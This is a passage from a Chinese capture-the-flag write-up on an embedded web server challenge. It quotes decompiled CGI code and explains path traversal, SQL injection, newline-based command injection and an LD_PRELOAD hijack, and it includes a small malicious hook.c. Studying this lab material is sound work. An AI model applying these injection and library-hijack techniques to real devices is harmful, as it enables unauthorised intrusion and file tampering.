circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• host：The system that is going to run the software once it is built. Once the software has been built, it will execute on this particular system.</p></li><ul style="line-height: 1.75;padding-left: 1em;list-style-position: initial;list-style-image: initial;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 即编译完成的二进制文件要放在什么架构的host上 跑</p></li></ul><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• build：The system where the build process is being executed. For most uses this would be the same as the host system, but in case of cross-compilation the two obviously differ.</p></li><ul style="line-height: 1.75;padding-left: 1em;list-style-position: initial;list-style-image: initial;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 二进制文件在什么架构上编译的，一般和host一样</p></li></ul><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• target：The system against which the software being built will run on. This only exists, or rather has a meaning, when the software being built may interact specifically with a system that differs from the one it&#39;s being executed on (our host). This is the case for compilers, debuggers, profilers and analyzers and other tools in general.</p></li><ul style="line-height: 1.75;padding-left: 1em;list-style-position: initial;list-style-image: initial;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 这个仅当二进制运行时需要和某个特定架构交互，而这个特定架构与该host架构不同时才有效。如gdbserver不需要指定target，而gdb要remote到某个异架构端时就需要指定target了。</p></li></ul></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在本地编译时gdb总是遇到<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">GMP is missing or unusable</code>错误，以各种方式安装libgmp都无法解决(见<span style="line-height: 1.75;color: rgb(87, 107, 149);">gdbserver-all-in-one 手册 | SkYe231 Blog (mrskye.cn)</span>）。用以下命令编译gdbserver：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(230, 192, 123);">mkdir</span> build &amp;&amp; <span style="color: rgb(230, 192, 123);">cd</span> build<br/>../configure --host=mipsel-linux-gnu<br/>make -j8 all-gdbserver CFLAGS=<span style="color: rgb(152, 195, 121);">&#39;-mips32r2 -O2 -static&#39;</span> CXXFLAGS=<span style="color: rgb(152, 195, 121);">&#39;-mips32r2 -O2 -static&#39;</span><br/>mips-linux-gnu-strip ./gdbserver</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  编译出来的gdbserver成功运行在设备上，但是问题一样存在(悲)。那么如果没有调试环境怎么确定Boa源码做了哪些修改呢，可以尝试符号恢复(试了效果不好)。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">get.cgi</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过boa源码可知子进程调用使用了pipe管道和父进程交互：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3664383561643836" data-s="300,640" style="" data-type="png" data-w="584" src="https://wechat2rss.xlab.app/img-proxy/?k=188d2849&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhiarMCb1VD2szUrKDShoAHgrVuITKXXp7I88c8F8CMgVQLB6OJIoUHQQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">漏洞位于main-&gt;sub_408020-&gt;sub_408064-&gt;sub_408098：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">sub_408098</span>()<br/>{<br/>  <span style="color: rgb(209, 154, 102);">int</span> v1; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+18h] [+18h]</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v2[<span style="color: rgb(209, 154, 102);">128</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+1Ch] [+1Ch] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v3[<span style="color: rgb(209, 154, 102);">40</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+9Ch] [+9Ch] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v4[<span style="color: rgb(209, 154, 102);">1028</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+C4h] [+C4h] BYREF</span><br/>  <span style="color: rgb(230, 192, 123);">strcpy</span>(v2, <span style="color: rgb(152, 195, 121);">&#34;/usr/bin/upload/&#34;</span>);<br/>  sub_4044D4((<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;name&#34;</span>, v3, <span style="color: rgb(209, 154, 102);">30</span>);<br/>  <span style="color: rgb(230, 192, 123);">strcat</span>(v2, v3);<br/>  v1 = fopen(v2, <span style="color: rgb(152, 195, 121);">&#34;rb&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !v1 )<br/>    <span style="color: rgb(198, 120, 221);">return</span> fwrite(<span style="color: rgb(152, 195, 121);">&#34;&lt;p&gt;File not found&lt;/p&gt;\n&#34;</span>, <span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(209, 154, 102);">22</span>, FileFD);<br/>  <span style="color: rgb(230, 192, 123);">memset</span>(v4, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">1024</span>);<br/>  fread(v4, <span style="color: rgb(209, 154, 102);">1024</span>, <span style="color: rgb(209, 154, 102);">1</span>, v1);<br/>  fclose(v1);<br/>  <span style="color: rgb(230, 192, 123);">fprintf</span>(FileFD, v4);<br/>  <span style="color: rgb(198, 120, 221);">return</span> system(<span style="color: rgb(152, 195, 121);">&#34;rm -rf /usr/bin/upload/*&#34;</span>);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> __fastcall <span style="color: rgb(97, 174, 238);">sub_4044D4</span>(<span style="color: rgb(209, 154, 102);">int</span> a1, _BYTE *buf, <span style="color: rgb(209, 154, 102);">int</span> a3)<br/>{<br/>  <span style="color: rgb(209, 154, 102);">char</span> **kv_name; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+18h] [+18h]</span><br/>  kv_name = (<span style="color: rgb(209, 154, 102);">char</span> **)sub_4070C0(a1);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( kv_name )<br/>    <span style="color: rgb(198, 120, 221);">return</span> sub_404898(kv_name, buf, a3, <span style="color: rgb(209, 154, 102);">0</span>);<br/>  *buf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">4</span>;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过调试可知sub_4044D4是将调用get.cgi的name参数值赋值到v3中，而在sub_4044D4-&gt;sub_404898做了真正的赋值操作但是没有对目录穿越做限制(<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">../</code>)，只是对<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">\n \r</code>处理了一下，这里使用漏洞穿越即可cat flag：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3425925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=efa7137f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhTX0Lx5cBkG5W8oIIdg4xovlDkJaBF4HxAwMTe9XwYbRxRNknYkBmjw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">diag.cgi</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在直接分析这个cgi之前，xhttpd中对其调用有校验操作，还需要用户对应的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Role</code>值为0也就是需要admin的权限。虽然admin的Token是随机的，但是在数据库函数中所使用的<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SQL语句是直接拼接</strong>的所以存在注入：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5418502202643172" data-s="300,640" style="" data-type="png" data-w="681" src="https://wechat2rss.xlab.app/img-proxy/?k=da6c34d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhyJvPfEnJlcs5xDb6y6ZS55Q1U5icMt8u8q4ia3st7Jv1cINibupCmDd7Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.20480668756530826" data-s="300,640" style="" data-type="png" data-w="957" src="https://wechat2rss.xlab.app/img-proxy/?k=875e1738&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhkiaMqsRshdm8Wk3ggUb4ICodvSFVPYL3IE3nC9HqtBJJhbJgqgoRzsQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  回到cgi中，实现了一个ping和curl的测试功能，通过参数type选定具体功能，param参数选定ping或者curl的参数。sub_408258和sub_408304都存在很简单的命令拼接导致命令注入，sub_4080B8函数会对param进行过虑，但是没有过虑<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">\n</code>。因此利用diag.cgi需要SQL注入+\n绕过即可。不过需要注意的是需要用urlencode 发送特殊字符，然后由header(POST)字段中的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">application/x-www-form-urlencoded</code>表明需要解码。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">sub_4083B0</span>()<br/>{<br/>  <span style="color: rgb(209, 154, 102);">char</span> v1[<span style="color: rgb(209, 154, 102);">28</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+18h] [+18h] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v2[<span style="color: rgb(209, 154, 102);">68</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+34h] [+34h] BYREF</span><br/>  sub_403D98((<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;type&#34;</span>, v1, <span style="color: rgb(209, 154, 102);">20</span>);<br/>  sub_403D98((<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;param&#34;</span>, v2, <span style="color: rgb(209, 154, 102);">64</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( sub_4080B8(v2) )<br/>    <span style="color: rgb(198, 120, 221);">return</span> fwrite(<span style="color: rgb(152, 195, 121);">&#34;&lt;p&gt;wrong parameter&lt;/p&gt;\n&#34;</span>, <span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(209, 154, 102);">23</span>, dword_419154);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strncmp</span>(v1, <span style="color: rgb(152, 195, 121);">&#34;ping&#34;</span>, <span style="color: rgb(209, 154, 102);">4</span>) )<br/>  {<br/>    sub_408258(v2);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strncmp</span>(v1, <span style="color: rgb(152, 195, 121);">&#34;curl&#34;</span>, <span style="color: rgb(209, 154, 102);">4</span>) )<br/>  {<br/>    sub_408304(v2);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">return</span> fwrite(<span style="color: rgb(152, 195, 121);">&#34;done\n&#34;</span>, <span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(209, 154, 102);">5</span>, dword_419154);<br/>}<br/><span style="color: rgb(209, 154, 102);">int</span> __fastcall <span style="color: rgb(97, 174, 238);">sub_4080B8</span>(<span style="color: rgb(209, 154, 102);">int</span> a1)<br/>{<br/>  <span style="color: rgb(209, 154, 102);">int</span> i; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+18h] [+18h]</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v3; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+1Ch] [+1Ch]</span><br/>  v3 = <span style="color: rgb(230, 192, 123);">strlen</span>(a1);<br/>  <span style="color: rgb(198, 120, 221);">for</span> ( i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; v3; ++i )<br/>  {<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;`&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;|&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;$&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;&amp;&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;(&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;)&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;{&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;}&#39;</span><br/>      || *(_BYTE *)(a1 + i) == <span style="color: rgb(152, 195, 121);">&#39;;&#39;</span> )<br/>    {<br/>      <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">1</span>;<br/>    }<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>}</code></pre><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7638036809815951" data-s="300,640" style="" data-type="png" data-w="978" src="https://wechat2rss.xlab.app/img-proxy/?k=144f171e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwh0V2paTIehR0YG6CoJh9m10c8UdqUia8TuEbr8licksnIibS7ibiaaqBUHXQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">upload.cgi</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在upload.cgi中存在目录穿越，限制了参数长度不超过25但是足够覆盖某些文件，比如shadow：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">sub_4080B8</span>()<br/>{<br/>  <span style="color: rgb(209, 154, 102);">int</span> v1; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+18h] [+18h]</span><br/>  _DWORD *v2; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+1Ch] [+1Ch] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> fileName[<span style="color: rgb(209, 154, 102);">2048</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+20h] [+20h] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v4[<span style="color: rgb(209, 154, 102);">1024</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+820h] [+820h] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v5; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+C20h] [+C20h] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v6[<span style="color: rgb(209, 154, 102);">132</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+C24h] [+C24h] BYREF</span><br/>  <span style="color: rgb(198, 120, 221);">if</span> ( sub_403E1C((<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;file&#34;</span>, fileName, <span style="color: rgb(209, 154, 102);">1024</span>) )<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(230, 192, 123);">puts</span>(<span style="color: rgb(152, 195, 121);">&#34;&lt;p&gt;No file was uploaded.&lt;p&gt;&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(230, 192, 123);">strlen</span>(fileName) &gt;= <span style="color: rgb(209, 154, 102);">25</span> )<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(230, 192, 123);">puts</span>(<span style="color: rgb(152, 195, 121);">&#34;&lt;p&gt;Wrong parameter&lt;/p&gt;&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( sub_404248((<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;file&#34;</span>, &amp;v2) )<br/>    <span style="color: rgb(198, 120, 221);">return</span> fwrite(<span style="color: rgb(152, 195, 121);">&#34;Could not open the file.&lt;p&gt;\n&#34;</span>, <span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(209, 154, 102);">28</span>, dword_419154);<br/>  <span style="color: rgb(230, 192, 123);">strcpy</span>(v6, <span style="color: rgb(152, 195, 121);">&#34;/usr/bin/upload/&#34;</span>);<br/>  <span style="color: rgb(230, 192, 123);">strcat</span>(v6, fileName);<br/>  v1 = fopen(v6, &amp;dword_40888C);<br/>  <span style="color: rgb(198, 120, 221);">while</span> ( !sub_4043C8(v2, (<span style="color: rgb(209, 154, 102);">int</span>)v4, <span style="color: rgb(209, 154, 102);">1024</span>, &amp;v5) )<br/>    fwrite(v4, v5, <span style="color: rgb(209, 154, 102);">1</span>, v1);<br/>  fclose(v1);<br/>  <span style="color: rgb(198, 120, 221);">return</span> sub_404480(v2);<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  所以一种比较直接的利用就是覆盖shadow，登录主机。在官方WP中利用<strong style="line-height: 1.75;color: rgb(255, 118, 118);">任意文件上传和xhttpd设置cgi环境变量时没有加前缀</strong>，可实现依赖库劫持。前文提到的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">add_cgi_env(request * req, const char *key, const char *value,int http_prefix)</code>函数用于设置cgi程序的环境变量，最后一个参数需要设置为1才会在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">key</code>前面添加<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">HTTP_</code>。而在xhttp解析头部字段时(对应源码process_option_line，xhttp中sub_45F8A0)没有设置环境变量前缀，这就可以传入<strong style="line-height: 1.75;color: rgb(255, 118, 118);">LD_PRELOAD:path/to/so</strong>指定依赖库(学到了~)，再配合upload实现劫持：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">//hook.c</span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;stdlib.h&gt;</span></span><br/><span style="color: rgb(209, 154, 102);">char</span> *<span style="color: rgb(97, 174, 238);">getenv</span>(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *name){<br/>    system(<span style="color: rgb(152, 195, 121);">&#34;cat /dev/ttyUSB0&#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>}<br/><span style="color: rgb(92, 99, 112);font-style: italic;">//mipsel-linux-gnu-gcc-5 -mips32r2 -Wall -fPIC -shared -o hook.os hook.c</span></code></pre><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5141065830721003" data-s="300,640" style="" data-type="png" data-w="957" src="https://wechat2rss.xlab.app/img-proxy/?k=1ac5816e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhUMrVqtYBkNyicOKNkNTVuzOOU6UrsTO06x1fibmEDicatKz6IlwlbTBlg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">调试子进程</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于fork+execve子程序调用的情况调试方法有：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 